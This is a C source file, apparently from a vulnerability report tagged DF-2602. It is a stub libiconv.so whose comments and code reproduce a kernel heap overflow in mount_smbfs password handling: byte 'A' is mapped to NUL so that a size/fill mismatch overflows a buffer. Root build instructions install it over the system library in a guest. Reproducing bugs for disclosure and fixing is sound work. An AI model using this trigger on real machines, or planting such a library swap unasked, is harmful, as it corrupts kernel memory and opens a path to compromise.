DF-2602 / stub_iconv.c
/* * Stub libiconv.so for DF-2602 reproduction. * * mount_smbfs -E cs1:cs2 dlopens "libiconv.so" and uses iconv() to build a * 256-byte kernel xlat table (one output byte per input byte 0..255). This * stub maps the byte 'A' (0x41) to NUL (0x00) and leaves every other byte * unchanged. The resulting kernel xlat table has table[0x41]=0x00, so when * smb_smb_ssnsetup() converts a password of all-'A's through vc_toserver, * every byte becomes NUL and strlen(pbuf) collapses to 0 -- while the buffer * ntencpass was sized from that 0-length pbuf. smb_strtouni() then writes * the full original (un-shortened) password as Unicode into the undersized * buffer => heap overflow. * * Build (guest, as root): cc -shared -fPIC -o /usr/lib/libiconv.so stub_iconv.c */ #include <stddef.h> typedef void *iconv_t; iconv_t iconv_open(const char *to, const char *from) { return (iconv_t)1; } size_t iconv(iconv_t cd, char **inbuf, size_t *inbytesleft, char **outbuf, size_t *outbytesleft) { if (inbuf == NULL || *inbuf == NULL) { /* reset / initialisation call from nls.c */ return 0; } size_t n = (*inbytesleft < *outbytesleft) ? *inbytesleft : *outbytesleft; char *src = *inbuf; char *dst = *outbuf; size_t i; for (i = 0; i < n; i++) { unsigned char c = (unsigned char)src[i]; /* Map 'A' (0x41) -> NUL so pbuf truncates and the size/fill mismatch * in smb_smb_ssnsetup overflows ntencpass. All other bytes identity. */ dst[i] = (c == 0x41) ? (char)0x00 : (char)c; } *inbuf += n; *outbuf += n; *inbytesleft -= n; *outbytesleft -= n; return n; } int iconv_close(iconv_t cd) { return 0; } |